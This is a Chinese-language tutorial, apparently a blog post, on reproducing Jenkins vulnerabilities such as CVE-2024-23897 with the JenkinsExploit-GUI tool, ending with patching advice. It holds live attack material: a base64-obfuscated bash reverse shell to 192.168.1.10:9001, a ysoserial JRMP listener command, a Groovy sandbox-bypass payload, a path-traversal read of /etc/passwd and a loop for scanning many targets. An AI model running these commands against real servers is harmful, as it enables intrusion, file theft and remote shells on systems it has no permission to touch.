Jenkins安全测试实战:用JenkinsExploit-GUI工具复现CVE-2024-23897等漏洞(附详细配置避坑)
Jenkins安全测试实战从环境搭建到漏洞复现的全流程指南在持续集成领域Jenkins作为最流行的自动化服务器之一其安全性一直备受关注。最近曝光的CVE-2024-23897漏洞再次提醒我们即使是成熟的开源工具也可能存在严重安全隐患。本文将带你从零开始在不同操作系统环境下搭建测试环境使用JenkinsExploit-GUI工具进行漏洞验证并分享实战中遇到的典型问题及解决方案。1. 测试环境准备避开兼容性陷阱1.1 JDK版本选择与配置跨平台测试的第一道坎往往是Java环境配置。根据实测经验Windows平台OpenJDK 8u282或Oracle JDK 8u201均可稳定运行Linux平台建议使用Amazon Corretto 8u372以避免GUI渲染问题macOS平台必须使用JDK 8u321及以上版本低版本会导致工具崩溃验证JDK版本的命令java -version若系统已安装多版本JDK可通过以下方式切换以Linux为例sudo update-alternatives --config java1.2 工具包获取与权限设置从GitHub Release页面下载对应平台的工具包时常见问题包括Windows系统可能拦截下载的二进制文件需右键解除锁定Linux/macOS需要执行权限设置chmod x linux_tools/* # 或 macOS_tools/*推荐的文件目录结构├── JenkinsExploit-GUI-1.0-SNAPSHOT.jar ├── windows_tools │ ├── ncat.exe │ └── whoami.exe └── config.ini2. 关键配置详解DNSLog与Payload定制2.1 DNSLog服务配置实战目前工具支持两种DNSLog服务配置差异如下服务商API获取位置有效期免费额度dnslog.pw无需注册直接使用1小时不限ceye.io需注册获取token24小时50次/天对于内网测试环境推荐自建DNSLog服务。使用如下命令快速搭建git clone https://github.com/BugScanTeam/DNSLog cd DNSLog docker-compose up -d2.2 Payload的进阶用法默认提供的payload可能无法满足特殊场景需求此时需要自定义修改tools_source目录下的Python脚本使用PyInstaller重新打包pyinstaller --onefile your_script.py特别提醒在Linux环境下执行反弹shell时推荐使用这种避免转义问题的方式bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}3. 漏洞复现实战以CVE-2024-23897为例3.1 漏洞原理深度解析该漏洞源于Jenkins CLI接口对参数解析的缺陷攻击者可通过精心构造的命令读取服务器任意文件。影响范围包括Jenkins 2.441及更早版本LTS 2.426.2及更早版本3.2 分步复现过程启动漏洞环境使用Vulhubdocker-compose -f jenkins/CVE-2024-23897/docker-compose.yml up配置工具参数目标URLhttp://your-ip:8080选择漏洞类型CVE-2024-23897设置读取路径如/etc/passwd执行检测后观察返回结果[] 文件内容已成功读取 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...3.3 常见问题排查连接超时检查防火墙设置确保8080端口开放读取失败尝试使用相对路径如../../etc/passwd编码乱码在工具配置中切换字符集为UTF-84. 其他高危漏洞检测指南4.1 反序列化漏洞检测技巧对于CVE-2016-0788等反序列化漏洞需要注意使用JRMP监听器java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 touch /tmp/pwned在工具中设置JRMP服务器地址4.2 Groovy沙盒绕过实战检测CVE-2018-1000861时关键点在于使用特殊语法绕过沙盒限制GrabConfig(disableChecksumstrue) Grab(org.apache.commons:commons-io:1.3.2)通过DNSLog验证命令执行ping ${UUID.randomUUID()}.your-dnslog.com.execute()5. 高级技巧与防御建议5.1 批量检测方案虽然工具暂未内置批量功能但可通过Shell脚本实现for ip in $(cat targets.txt); do java -jar JenkinsExploit-GUI.jar -u $ip -v CVE-2024-23897 done5.2 企业级防护措施及时升级到Jenkins 2.442/LTS 2.426.3在管理界面禁用CLI接口进入Manage Jenkins → Security取消勾选Enable CLI over Remoting配置网络ACL限制访问来源在一次内部渗透测试中我们发现某金融系统虽然升级了Jenkins版本但因未禁用CLI接口仍存在风险。通过组合利用多个中危漏洞最终实现了权限提升。这提醒我们安全防护需要全面考虑各个攻击面。